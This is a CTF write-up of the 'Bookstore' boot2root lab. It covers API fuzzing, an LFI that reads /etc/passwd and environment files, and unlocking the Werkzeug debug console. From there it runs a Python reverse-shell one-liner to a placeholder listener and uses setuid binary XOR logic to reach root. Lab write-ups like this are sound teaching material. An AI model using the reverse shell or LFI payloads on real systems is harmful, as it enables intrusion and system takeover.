📕Bookstore
Bookstore is a boot2root CTF machine that teaches a beginner penetration tester basic web enumeration and REST API Fuzzing. Several hints can be found when enumerating the services, the idea is to und
“They said it was a bookstore. They didn’t say it was a gateway to shell and root!”
Introduction
👋 Hi, I’m Shivam (taauxick)
A curious mind with a keyboard, currently exploring the world of ethical hacking and CTFs. This time, I stumbled into a seemingly innocent bookstore — and walked out with root access. What started with a basic port scan quickly turned into a treasure hunt of APIs, forgotten debugger consoles This writeup covers my journey from initial access to root — with some light sarcasm, a few missteps, and just enough LFI to keep things interesting.
Check out my portfolio showcasing projects, write-ups, and my journey in cybersecurity:
Here, we’re not just hacking for the thrill. We’re hacking because these roots practically beg for attention.
🔎 Initial Recon
Rust scan Output:
Straight outta port scanning — rust scan revealed three open ports:
22 (SSH) – standard
80 (HTTP) – classic
5000 (HTTP) – another http but rustscan gave a robots.txt entry👀( api) isn't that what we needed in this?
Without wasting time, went for the web.

didn't wasted much time here because i got something spicier so..

Nothing useful on the surface.
So the focus shifted to the suspicious port 5000/api


The following routes were listed:
/api/v2/resources/books/all– fetches all books in JSON/api/v2/resources/books/random4– returns 4 random books/api/v2/resources/books?id=1– search by ID/api/v2/resources/books?author=J.K. Rowling– search by author/api/v2/resources/books?published=1993– search by year/api/v2/resources/books?author=...&published=...– multi-param support
It was clear — the machine was hinting at REST API fuzzing, param-based searching, and possibly parameter injection or LFI.

🛠️ Attempted Exploitation on /v2
/v2At this point, tried a few tricks:
Played with the
id,author, andpublishedparameters.Attempted LFI payloads like using
../../../../etc/passwdin ID or author.Ran ffuf on the parameters to fuzz hidden functionalities.
Result: Nada. Dry desert. No errors, no leaks, no LFI.
The /v2/ API seemed safe — too safe. Suspicious.

🕳️ Pivot to /v1/
/v1/CTF gut instinct kicked in: If there’s a v2, there has to be a v1.
Started fuzzing around /api/v1/, and bingo — found a new endpoint.Calling it without or invalid parameters returned a lovely Python traceback error. That’s the kind of leak a hacker dreams about.


From the Python error page, inferred that parameters were being handled poorly. Tried standard LFI tricks — and got lucky.
Using LFI, I was able to view sensitive files like:
/etc/passwd
It was confirmed — LFI was fully working on the v1 API.
found a user sid

🧠 The Console Button & PIN Mystery
I noticed something strange on the error page — a “Console” button

Clicked it out of curiosity — and it asked for a PIN.

Time to go back to LFI checked some files
and found /proc/self/environ helpful

🧭 Alternate Enumeration Path – Missed Observation
While my exploitation path relied on discovering the LFI and pulling the debugger PIN from /proc/self/environ, there was another path to reach the same goal, which I later noticed post-exploitation.
🔐 Login Page Source Code Disclosure
Upon visiting http://bookstore.thm/login.html, the login functionality seemed broken or non-functional. But when checking the page source via:
view-source:http://bookstore.thm/login.html
A commented line stood out:
<!--Still Working on this page will add the backend support soon, also the debugger pin is inside sid's bash history file -->
This line directly leaks the location of the debugger PIN:
🧭 Alternate Enumeration Path – Missed Observation
🧪 Werkzeug Debugger Enumeration
Alongside, we also observed that port 5000 runs a Werkzeug server (common in Flask apps).
http://bookstore.thm:5000/console
Shows the Werkzeug Debug Console — a known, powerful Python shell that appears during unhandled exceptions in Flask apps.
But it’s PIN protected by default to avoid abuse.
The page source hint (.bash_history) would’ve directly guided me to extract the PIN via LFI and unlock this console immediately — a clean and elegant path to shell access
That PIN, once entered, unlocked a Python console right inside the browser.

🐚 Shell Access via Python Console
The browser-based Python shell allowed command execution. Played around a bit, verified that it’s actually executing code on the server.
From here, inserted a basic reverse shell payload.
import socket,os,pty;s=socket.socket();s.connect(("IP",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")

On listener, got a callback — and just like that:
User shell obtained.
stabilized the shell first
Captured the first flag.

🧗♂️ Privilege Escalation – Enter the Binary
Started standard privesc enumeration and found something interesting:
An ELF binary named try-harder, located somewhere juicy.
It was:
Owned by root
Setuid enabled
Asked for a “magic number”
Suspicious af.


🧠 Reverse Engineering the Binary
Transferred it over to my system via Python HTTP server and loaded it into Ghidra.

Inside, the logic was simple:
If you pass “magic number” as input, it spawns a root shell

local_14 = local_1c ^ 0x1116 ^ local_18;
if (local_14 == 0x5dcd21f4) {
system("/bin/bash -p");
}Here the variable local_1c ( user input) is xored with 0x1116 and with another variable local_18 having value 0x5db3 and if the ouput from this operation is equal to 0x5dcd21f4, we get a root shell.
XOR Property
c = a ^ b
a = c ^ bIf we XOR a with b to get c, then we can XOR c with b to get a. Using this logic, we can get the value of the variable that we want.
0x5dcd21f4 ^ 0x1116 ^ 0x5db3


DONE!!!!!!!!!
Last updated